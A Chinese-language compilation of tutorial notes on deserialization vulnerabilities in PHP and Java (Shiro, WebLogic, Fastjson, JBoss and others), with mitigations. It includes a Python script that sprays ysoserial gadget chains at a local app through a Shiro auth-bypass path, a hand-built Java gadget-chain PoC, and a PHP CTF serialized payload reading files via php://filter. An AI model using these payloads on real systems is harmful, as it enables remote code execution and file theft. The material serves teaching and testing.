反序列化漏洞汇总
 
PHP
JAVA
Apache Shiro 反序列化
weblogic反序列化漏洞
fastjson
Tomcat反序列化
Apache
JBoss反序列化漏洞
 

 
原理：在反序列化的过程中，将字节流转化为对象。在此过程，由于输入不可控，并且后端对用户输入过滤不严格，攻击者通过构造恶意输入，在反序列化后，调用魔术方法执行任意恶意代码，产生非预期对象。
 
用户输入不可控
输入的恶意代码被执行
 
由于序列化后的字节流别中间件接收，在服务器端进行反序列化。
 
PHP
 
serialize()、unserialize()
 
魔术方法：
 
​ __construct()：在对象创建时自动被调用；
 
​ __ sleep()：在对象序列化的时候自动被调用;
 
​ __destruct()：在脚本运行结束时自动被调用；
 
​ __wakeup()：在反序列化为对象时自动被调用；
 
​ __toString()： 直接输出对象引用时自动被调用；
 
JAVA
 
java.io.ObjectOutputStream 类中的 writeObject( ) 方法可以实现 Java序列化。
 java.io.ObjectInputStream 类中的 readObject( ) 方法可以实现 Java反序列化。
 
Java中间件通常通过网络接收客户端发送的序列化数据，而在服务端对序列化数据进行反序列化时，会调用 readObject( )方法。而在Java中如果重写了某个类的方法，就会优先调用经过修改后的方法。如果某个对象重写了readObject( )方法，且在方法中能够执行任意代码，那服务端在进行反序列时，也会执行相应代码。
 
如果能够找到满足上述条件的对象进行序列化并发送给Java中间件，Java中间件也会去执行指定的代码，即存在反序列化漏洞。
 
Java序列化的要求
 
1、实现Serializable接口或Externalizable接口
2、当前类提供一个全局常量 serialVersionUID
3、必须保证其内部所有属性也必须是可序列化的（默认情况下，基本数据类型可序列化）
4、ObjectInputStream和ObjectOutputStream不能序列化static和transient修饰的成员变量
 
代码
 
import java.io.*;
public class Serialize {
    public static void main(String[] args) throws Exception {
        //序列化
        ObjectOutputStream oos = new ObjectOutputStream(new 	    	FileOutputStream("hello.txt"));
        oos.writeObject(new String("序列化"));
        oos.close();

        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new 		FileInputStream("hello.txt"));
        Object o = ois.readObject();
        String s = (String) o;
        ois.close();
        System.out.println(s);

    }
 
Apache Shiro 反序列化
 
用了AES加密的密钥，此密钥被硬编码在代码里，意味着每个人通过源代码都能拿到AES加密的密钥
 
Apache Shiro 1.2.4 以及以前版本中，加密的用户信息序列化后存储在remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户的Cookie，触发Java反序列化漏洞，进而在目标机器上执行任意命令。
 
产生原因：shiro默认使用看CookieRememberMeManager，其处理cookie的流程是：得到rememberMe的cookie值–>Base64解码—>AES解码—>反序列化。然而AES的密钥是硬编码的，就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞
 
在构造恶意命令的时候：恶意命令—AES加密—base64编码—发送cookie
 
影响版本 Apache Shiro <=1.2.4
 
 
weblogic反序列化漏洞
 
CVE-2017-10271 XMLDecoder反序列化漏洞
CVE-2019-2725 远程命令执行漏洞
CVE-2019-2618 任意文件上传
CVE-2019-2615 Weblogic 任意文件读取漏洞
CVE-2018-2826 Weblogic WLS Core Components 反序列化命令执行漏洞
CVE-2020-14882 未授权让RCE
CVE-2020-14644 Weblogic coherence组件iioo反序列化漏洞
CVE-2020-14756 T3/IIOP反序列化RCE
CVE-2021-2109 weblogic server 远程代码执行漏洞
 
 
 
WeblogicScan Weblogic一键漏洞检测工具
 
 
XMLDecoder 反序列化漏洞原理
 
Weblogic 的 WLS Security 组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。
 
CVE-2018-2826
 
Weblogic Server中的RMI 通信使用 T3协议在Weblogic Server和其它Java程序（客户端或者其它Weblogic Server实例）之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机（JVM）中, 并创建T3协议通信连接, 将流量传输到 Java虚拟机。T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。
 
Weblogic已经将互联网暴露的PoC都已经加入了黑名单，如果要绕过他的黑名单的限制就只能自己动手构造。来看看InboundMsgAbbrev中resolveProxyClass的实现，resolveProxyClass是处理rmi接口类型的，只判断了java.rmi.registry.Registry，其实随便找一个rmi接口即可绕过。
 
​ 影响版本
 
​ Oracle Weblogic Server10.3.6.0.0
 
​ Oracle Weblogic Server12.1.3.0.0
 
​ Oracle Weblogic Server12.2.1.2.0
 
​ Oracle Weblogic Server12.2.1.3.0
 
扫描工具 https://github.com/0xn0ne/weblogicScanner
 
fastjson
 
fastjson介绍
 
Fastjson 是一个 Java 库，可以将 Java 对象转换为 JSON 格式，当然它也可以将 JSON 字符串转换为 Java 对象。
 
Fastjson 可以操作任何 Java 对象，即使是一些预先存在的没有源码的对象。
 
序列化 JavaBeanSerializer类 JSON.toJSONString()
 
反序列化用到的是JavaBeanDeserializer类 JSON.parse() 和 JSON.parseObject()
 
在Fastjson反序列化框架中JSON是门面类，提供一些静态方法，如parse，parseObject，其主要功能都是在DefaultJSONParser类中实现的。DefaultJSONParser引用了ParserConfig类，该类主要保存一些相关配置信息。也引用了JSONLexerBase类用来处理字符分析。
 
Tomcat反序列化
 
CVE-2020-9484
 
成功利用此漏洞需要同时满足以下4个条件:
 
 
攻击者能够控制服务器上文件的内容和文件名称
 
 
服务器PersistenceManager配置中使用了FileStore
 
 
PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”，或者过滤器不够严格，导致允许攻击者提供反序列化数据的对象
 
 
攻击者知道使用的 FileStore 存储位置 到攻击者可控文件的相对路径
 
 
Apache
 
Apache Solr RCE—— CVE-2019-0192 安全版本：7.0
 
CVE-2018-1335：Apache Tika 命令注入
 
 
 
在Tika1.18 之前，用户可以发送精心构造的标头至tika-server，这些标头能够用来注入一些命令到运行tika-server的服务器的命令行中。此漏洞只影响向不受信用户开放并且运行tika-server的服务器。
 
 
Apache Axis1（<=1.4版本） RCE
 
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。
 
 
 
ysoserial 工具利用此类漏洞
 
 
JBoss反序列化漏洞
 
CVE-2017-12149 反序列化漏洞
CVE-2017-7504 JBoss JMXInvokerServlet 反序列化漏洞
JBoss远程代码执行漏洞
Jboss JMX Console 未授权访问Getshell
 
 
 
JbossScan 一个简单探测 jboss漏洞的工具
 
 
ysoserial.jar 这个工具生成各种反序列化的poc或者exp，里面包含了各种各样的反射链所使用到的库

 
文章目录
 
代码审计
payload 1
payload 2
 

 
平时挖的或者看到的反序列例子都很曲折，或者很个例，无法作为一个科普文。偶然看到大佬KeePassX的Java反序列化漏洞从入门到关门，发现这是一个难得一见的反序列化挖掘的好例子，它很舒畅，一镜到底。
 
下面是以我的思路对代码进行白盒审计：
 
代码审计
 
看一下/index/*路由功能，发现cookie中的info字段存在发序列化漏洞
 
@GetMapping({"/"})
    public String main() {
        return "redirect:login";
    }

    @GetMapping({"/index/{name}"})
    public String index(HttpServletRequest request, HttpServletResponse response, @PathVariable String name) throws Exception {
        Cookie[] cookies = request.getCookies();
        boolean exist = false;
        Cookie cookie = null;
        User user = null;
        if (cookies != null) {
            Cookie[] var8 = cookies;
            int var9 = cookies.length;

            for(int var10 = 0; var10 < var9; ++var10) {
                Cookie c = var8[var10];
                if (c.getName().equals("info")) {
                    exist = true;
                    cookie = c;
                    break;
                }
            }
        }

        if (exist) {
            byte[] bytes = Tools.base64Decode(cookie.getValue());
            user = (User)Tools.deserialize(bytes);
        } else {
            user = new User();
            user.setID(1);
            user.setUserName(name);
            cookie = new Cookie("info", Tools.base64Encode(Tools.serialize(user)));
            response.addCookie(cookie);
        }

        request.setAttribute("info", user);
        request.setAttribute("logs", new LogHandler());
        return "index";
    }
 
其中Tools.deserialize函数如下：
 
    public static Object deserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
 
由于该项目使用了shiro中间件，并且存在权限绕过漏洞，绕过方式为http://127.0.0.1:8000/index/%3b/xxx
 
 
payload 1
 
于是直接打即可，当然最简单的就是上ysoserial工具，一开始也不知道使用哪条链，可以先来一波盲打，工具如下，虽然我写的比较粗糙，不过很好使，建议收藏：
 
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# @Date    : 2021/05/09
# @Author  : 5wimming
import requests
import subprocess
import time
import base64

def print_yso():
    payloads = ["BeanShell1", "C3P0", "Clojure", "CommonsBeanutils1", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3", "CommonsCollections4", "CommonsCollections5", "CommonsCollections6", "FileUpload1", "Groovy1", "Hibernate1", "Hibernate2", "JBossInterceptors1", "JRMPClient", "JRMPListener", "JSON1", "JavassistWeld1", "Jdk7u21", "Jython1", "MozillaRhino1", "Myfaces1", "Myfaces2", "ROME", "Spring1", "Spring2", "URLDNS", "Wicket1"]
    for payload in payloads:
        try:
            p = subprocess.Popen('java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ' + payload + ' \"open /System/Applications/Calculator.app\"', shell=True, stdout=subprocess.PIPE)
            out, err = p.communicate()
            result = str(base64.b64encode(out))[2:-1]
            print(payload, result)
            burp0_headers = {
                "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0",
                "Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.5",
                "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json;charset=utf-8",
                "Origin": "http://127.0.0.1:8090", "Connection": "close",
                "Cookie": "hacker=" + result,
                "Referer": "http://127.0.0.1:8090/admin/index.html"}
            requests.get('http://127.0.0.1:8000/index/%3b/xxx', headers=burp0_headers, timeout=20)
            time.sleep(5)
        except Exception as e:
            pass


if __name__ == '__main__':
    print_yso()
 
发现使用CommonsBeanutils1链可以成功，可能还有其他链，这里不在赘述，效果如下
 
 
payload 2
 
上面使用的是别人发现的公共链，但是有时候公共链并不能通吃，可以看看该项目本身有没有攻击链可以利用，寻找思路如下：
 
1、寻找项目中的危险函数AA.evil(string a)，危险函数就是会导致漏洞产生的函数，比如命令执行函数Runtime.getRuntime().exec()、JNDI漏洞函数javax.naming.Context.lookup、SSRF漏洞函数java.net.URL.openConnection等等。
 当然这些函数的参数必须可控，否则没法传入恶意命令。
 具体可以参考我改的gadgetinspector的slink点，里面全是危险函数
 
2、危险函数所在类AA必须实现了 java.io.Serializable 接口，或者是实现了java.io.Serializable 接口类的子类，比如下面是常用的五大反序列化利用基类
 
1.AnnotationInvocationHandler：反序列化的时候会循环调用成员变量的get方法，用来和lazyMap配合使用。

2.PriorityQueue：反序列化的时候会调用TransformingComparator中的transformer的tranform方法，用来直接和Tranformer配合使用。

3.BadAttributeValueExpException：反序列化的时候会去调用成员变量val的toString函数，用来和TiedMapEntry配合使用。（TiedMapEntry的toString函数会再去调自身的getValue）。

4.HashSet：反序列化的时候会去循环调用自身map中的put方法，用来和HashMap配合使用。

5.Hashtable：当里面包含2个及以上的map的时候，回去循环调用map的get方法，用来和lazyMap配合使用。
 
3、找个载体类BB，用于承载你上面构造的恶意AA.evil(string a)，我们知道，当一个类被反序列化的时候，会调用该类的readobject函数。
 因为如果我们的恶意函数evil(string a)不在readobject()函数里面，它再恶意也没法起作用。
 当然，BB.readobject函数也必须是可控的，比如它允许我们通过某种方式把AA.evil(string a)塞进去。
 
于是在项目中找到了toString函数，它的类继承于LogHandler，可以进行反序列化操纵，虽然toString函数的参数是私有变量，但是通过java的反射机制依然可以赋值
 
public class LogHandler extends HashSet implements InvocationHandler {
    private Object target;
    private String readLog = "tail  accessLog.txt";
    private String writeLog = "echo /test >> accessLog.txt";

    public LogHandler() {
    }

    public LogHandler(Object target) {
        this.target = target;
    }

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
        return method.invoke(this.target, args);
    }

    public String toString() {
        return Tools.exeCmd(this.readLog);
    }
}
 
接下来找载体类，这里我们用BadAttributeValueExpException类，它是业界比较出名的载体类(背锅侠)
 
public class BadAttributeValueExpException extends Exception   {

    private static final long serialVersionUID = -3105272988410493376L;

    private Object val;

    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

    public String toString()  {
        return "BadAttributeValueException: " + val;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }

 
从代码中我们可以看到，它调用了toString()函数，并且valObj可控，即我们可以把LogHandler实例赋值给它。
 
构造出poc如下，需要注意的是我们使用了LogHandler和Tools这两个项目中移植过来的类，需要注意它的package路径必须相同。
 
import com.xxx.Tools.LogHandler;
import com.xxx.Tools.Tools;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;

public class Payload {
    public static void main(String[] args) throws Exception{
        LogHandler logHandler = new LogHandler();
        Field readLogField = LogHandler.class.getDeclaredField("readLog");
        readLogField.setAccessible(true);
        readLogField.set(logHandler,"open /System/Applications/Calculator.app");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("");
        Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException,logHandler);
        byte[] bytes = Tools.serialize(badAttributeValueExpException);
        System.out.println(Tools.base64Encode(bytes));
    }
}
 
效果如下
 

前言
 
 
什么是序列化和反序列化
 
Java 提供了一种对象序列化的机制，该机制中，一个对象可以被表示为一个字节序列，该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。反序列化就是通过序列化后的字段还原成这个对象本身。但标识不被序列化的字段是不会被还原的。
 
 
序列化有什么用
 
1）网站相应的session对象存储在硬盘上，那么保存在session中的内容就必须实现相关的序列化操作。
 
2）如果使用的java对象要在分布式中使用或者在rmi远程调用的网络中使用的话，那么相关的对象必须实现java序列化接口。
 
Java反序列化类型
 
我们最常见就是原生的java反序列化类型，其实java中有几种方式可以执行反序列化，本文目的也是对这几种类型的反序列化方法进行归纳和总结。
 
 
1、 Java原生序列化
 
Java包中自带的类InputStream和OutputStream，它们之间可以互相转化，使用writeObject序列化，使用readObject反序列化。
 
import java.io.*;
 
public class DeserializeDemo
{
   public static void main(String [] args)
   {
      Employee e = null;
      try
      {
         FileInputStream fileIn = new FileInputStream("/tmp/employee.ser");
         ObjectInputStream in = new ObjectInputStream(fileIn);
         e = (Employee) in.readObject();
         in.close();
         fileIn.close();
      }catch(IOException i)
      {
         i.printStackTrace();
         return;
      }catch(ClassNotFoundException c)
      {
         System.out.println("Employee class not found");
         c.printStackTrace();
         return;
      }
      System.out.println("Deserialized Employee...");
      System.out.println("Name: " + e.name);
      System.out.println("Address: " + e.address);
      System.out.println("SSN: " + e.SSN);
      System.out.println("Number: " + e.number);
    }
}
 
2、 Json反序列化
 
Json序列化一般会使用jackson包，通过ObjectMapper类来进行一些操作，比如将对象转化为byte数组或者将json串转化为对象。
 
public static <T> String serialize(T t) throws JsonProcessingException {
        ObjectMapper mapper = new ObjectMapper();
        String jsonResult = mapper.writerWithDefaultPrettyPrinter()
                .writeValueAsString(t);
        return jsonResult;
    }
 
 
3、 Fastjson反序列化
 
Fastjson是一个性能很好的Java语言实现的Json解析器和生成器，由来自阿里巴巴的工程师开发。具有极快的性能，超越任何其他的Java Json Parser。Fastjson使用parseObject来进行反序列化。
 
import com.alibaba.fastjson.JSON;    
  
public class Person {  
    int age;  
    String name;  
    public int getAge() {  
        return age;  
    }  
    public void setAge(int age) {  
        this.age = age;  
    }  
    public String getName() {  
        return name;  
    }  
    public void setName(String name) {  
        this.name = name;  
    }  
    public static void main(String[] args) {  
        String jsonString="{\"name\":\"hah\",\"age\":1}";  
        Person person = JSON.parseObject(jsonString, Person.class);  
        System.out.println(1);  
    }  
}  
 
4、Protobuf 反序列化
 
Protocol Buffers 是一种轻便高效的结构化数据存储格式，可以用于结构化数据串行化，或者说序列化。它很适合做数据存储或 RPC 数据交换格式。可用于通讯协议、数据存储等领域的语言无关、平台无关、可扩展的序列化结构数据格式。目前提供了 C++、Java、Python 三种语言的 API。
 
proto.proto文件内容
 
package proto;

message TestMsg{
    optional string id = 1;
    optional string name = 2;
}
 
序列化
 
public byte[] build(){
    Proto.TestMsg.Builder builder = Proto.TestMsg.newBuilder();
    builder.setId("ID的值");
    builder.setName("Name的值");
    Proto.TestMsg msg = builder.build();

    return msg.toByteArray();
}
 
反序列化
 
Proto.TestMsg msg = Proto.TestMsg.parseFrom(message.returnByte());
System.out.Println(msg);
 
各方式反序列化比较
 
 
各序列化漏洞简介
 
除了使用protobuf进行反序列化没有出现过漏洞，其他方式的序列化都曾出现过漏洞。下面将简单介绍下漏洞，详细的漏洞和exp构造方法大家可以去网上搜索关键字查看（java几个反序列化漏洞exp构造过程都十分精彩，推荐大家认真阅读下）
 
 
1、Object Serialize 漏洞
 
Apache Commons Collections中实现了TransformedMap ，该类可以在一个元素被添加/删除/或是被修改时(即key或value：集合中的数据存储形式即是一个索引对应一个值，就像身份证与人的关系那样)，会调用transform方法自动进行特定的修饰变换。
 
 
TransformedMap.decorate方法，预期是对Map类的数据结构进行转化，该方法有三个参数。
 
第一个参数为待转化的Map对象
第二个参数为Map对象内的key要经过的转化方法（可为单个方法，也可为链，也可为空）
第三个参数为Map对象内的value要经过的转化方法
通过对第三个参数通过构造ChainedTransformer链，通过一系列变化，最终执行系统命令。
 
 
2、Jackson-databind 漏洞
 
Jackson是一套开源的java序列化与反序列化工具框架，可将java对象序列化为xml和json格式的字符串及提供对应的反序列化过程。由于其解析效率较高，目前是Spring MVC中内置使用的解析方式，该漏洞的触发条件是ObjectMapper反序列化前调用了enableDefaultTyping方法。该方法允许json字符串中指定反序列化java对象的类名，而在使用Object、Map、List等对象时，可诱发反序列化漏洞，导致可执行任意命令。
 
 
3、FastJson 漏洞
 
fastjson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并通过json来填充其属性值。而JDK自带的类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中有一个私有属性_bytecodes，其部分方法会执行这个值中包含的Java字节码。通过注入恶意代码到_bytecode，导致任意代码执行漏洞。
 
注：Fastjson和Jackson Payload构造的方式都一样，虽然解析函数不一样，但是都是将json转为object，过程是类似的。
 
防止反序列化漏洞
 
 
1、Java Serialization
 
jdk里增加了一个filter机制 http://openjdk.java.net/jeps/290 ，这个一开始是出现在jdk9上的，后面移值回jdk6/7/8上，如果安装的jdk版本是比较新的，可以找到相关的类
Oracle打算废除java序列化：https://www.infoworld.com/article/3275924/java/oracle-plans-to-dump-risky-java-serialization.html
 
2、jackson-databind
 
jackson-databind里是过滤掉一些已知的类，参见SubTypeValidator.java
jackson-databind的CVE issue列表
 
3、fastjson
 
fastjson通过一个denyList来过滤掉一些危险类的package，参见ParserConfig.java
fastjson在新版本里denyList改为通过hashcode来隐藏掉package信息，但通过这个DenyTest5可以知道还是过滤掉常见危险类的package
fastjson在新版本里默认把autoType的功能禁止掉了
这些序列化漏洞的根本原因是：没有控制序列化的类型范围。
 
仔细看的读者会发现并没有提及protobuf的反序列化漏洞，为什么在protobuf里并没有这些反序列化问题？
 
protobuf在IDL里定义好了package范围
protobuf的代码都是自动生成的，怎么处理二进制数据都是固定的
protobuf把一切都框住了，少了灵活性，自然就少漏洞。
 
注：IDL（Interface description language）文件：参与通讯的各方需要对通讯的内容需要做相关的约定（Specifications）。为了建立一个与语言和平台无关的约定，这个约定需要采用与具体开发语言、平台无关的语言来进行描述。这种语言被称为接口描述语言（IDL），采用IDL撰写的协议约定称之为IDL文件。
 
总结：
 
本文总结了java反序列化的几种方式，并回顾了java几个经典的漏洞以及对应的修复方案，希望通过本文，大家对java反序列化漏洞有更深刻的认知。
 
参考链接：
 
http://hengyunabc.github.io/thinking-about-grpc-protobuf/
 
https://blog.csdn.net/u011721501/article/details/78555246
 
https://www.freebuf.com/sectool/165655.html
 
https://www.cnblogs.com/he1m4n6a/p/10131566.html
 
https://kevien.github.io/2018/06/18/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(%E7%BB%AD)/
 
https://www.jianshu.com/p/e9e631285cb0

 
反序列化漏洞实例
 
反序列化漏洞
1. 序列化的原理
2. 序列化函数
3. 反序列化漏洞原理
3.1 魔术函数
3.2 反序列化漏洞示例
反序列化结合文件包含
反序列化结合XSS
   
   
4. 反序列化漏洞分类
5. 实验测试
网页源码
测试过程
  
 

 
反序列化漏洞
 
利用的核心找到反序列化的源码。通过文件包含，敏感目录泄露找源码
 
1. 序列化的原理
 
序列化是一种将对象的状态信息转换为可以存储或传输的形式的过程（转化为信息流）。
 
由于给变量赋的值，会暂时存储在内存中，一旦使用过后，此变量再次使用必须重新赋值。序列化的作用就是记录变量被赋的值，是为了记录数据，方便存储，方便被传递供其他人使用，方便维护。
 
例如
 
<?php
	class student{
		public $name="xiaoming"；
		public $age=20;
		public $score=60;
	}
?>
 
上述php代码序列化后的结果
 O:7:“student”:3:{s:4:“name”;s:8:“xiaoming”;s:3: “age”;i:20;s:5.“score”;i:60;}
 
O:7:"student":3    
	#O--Object，7--对象长度，类名为student，3--成员变量数
s:4:"name";s:8:"xiaoming"    
	# s--字符型，4--变量名长度，name--变量名，xiaoming--变量值
s:3: "age";i:20
	# s--字符型，3--变量名长度，age--变量名，i--int型，20--变量值
 
序列化一个对象将会保存对象的所有变量，但是不会保存对象的方法，只会保存类的名字。所以对象A和对象B序列化后并没有什么区别。
 原理
 
2. 序列化函数
 
在php中：serialize()/unserialize()
在java中：writeObject()/readObject()
 
3. 反序列化漏洞原理
 
用户输入不可控
有魔术方法
魔术方法中有风险操作，例如system(),echo 等
 
3.1 魔术函数
 
 
 
魔术函数就相当于 C语言的析构函数
 析构函数(destructor) 与构造函数相反，当对象结束其生命周期，如对象所在的函数已调用完毕时，系统自动执行析构函数。析构函数往往用来做“清理善后” 的工作（例如在建立对象时用new开辟了一片内存空间，delete会自动调用析构函数后释放内存）
 
 
__construct(), __destruct(), __call(),__callStatic(),__get(),

__set(),__isset(),__unset(),__ sleep(),__wakeup(),

__toString()__invoke(),__set_state(),__clone(),__debugInfo()

这些函数在某些情况下会自动调用，其中，反序列化漏洞主要由以下面魔术方法造成：
__construct()：在对象创建时自动被调用；	 
__sleep()：在对象序列化的时候自动被调用；
__destruct()：在脚本运行结束时自动被调用；
__wakeup()：在反序列化为对象时自动被调用；
__toString()： 直接输出对象引用时自动被调用；
 
3.2 反序列化漏洞示例
 
反序列化结合文件包含
 
<?php
    class FileClass{
        public $filename = 'error.log';
            public function __toString(){
                return file_get_contents($this->filename);
					//魔术函数中执行文件包含，反序列化漏洞配合文件包含漏洞
					//有可能造成文件包含漏洞，这里调用$filename, 也就是 error.log
            }
    }
	
	$obj = unserialize($_GET['file']);   //在前端url框内，传入文件
	echo $obj;
?>
 
反序列化结合XSS
 
unserialize('O:7:"student":3:{s:4:"name";s:25:"<script>alert(1)</script>";s:3: "age";i:20;s:5."score";i:60;}')
 
4. 反序列化漏洞分类
 
java反序列化
 
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
 
php反序列化
 
​
 
可以按照中间件分，然后按照版本分类。
 
5. 实验测试
 
网页源码
 
index.php
 
<!DOCTYPE html>
<body>
<a href="../index.php">их╗п</a></body></html>
<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    if(preg_match("/f1a9/",$file)){
        exit();
    }else{
        include($file); //class.php
        $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin ! ";
}
?>
 
class.php
 
<?php

class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "<br>__toString was called!";
    }
}
?>
 
flag.php
 
<?php
//flag_Xd{hSh_ctf:e@syt0g3t}
?>
 
测试过程
 
 
点进去首先看到
 
 
 
根据 index.php源代码
 
 if(isset($user)&&(file_get_contents($user,'r')==="the user is admin"))
 
 
 
 
file_get_contents 是包含文件的意思，变量名是user，因此要进行构造 ?/user=
 刚开始以为是包含一句话木马，结果包含一句话木马后返回不对
 
 

 3. 仔细思考后，要用input伪协议，因为input伪协议可以包含传递的数据。
 
 4. 根据上面的报错信息，再次分析，由于代码中还有一个判断语句忘了考虑
 
else{
	        include($file); //class.php
	        $pass = unserialize($pass);
	        echo $pass;
	    }
 
因此在url输入的时候，还要考虑file参数
 
如果后面还加上pass参数，那么还会对输入的参数进行反序列化
 

 5. 如果后面还加上pass参数，那么还会对输入的参数进行反序列化
 
这里也是利用php://filter来读取fla9文件，用来进行反序列化
 
php://filter/read=convert.base64-encode/resource=fla9.php
 
 
 
php://filter 是一种元封装器， 设计用于数据流打开时的筛选过滤应用。类似 readfile()、 file() 和 file_get_contents()， 在数据流内容读取之前没有机会应用其他过滤器。
 php://filter 目标使用以下的参数作为它路径的一部分。
 
 
 
构造的payload
 
pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=fla9.php";}
	// 观察class.php是一个类 ，将fla9.php作为参数传递给class.php
	// 相当于 pass=__toString(fla9.php)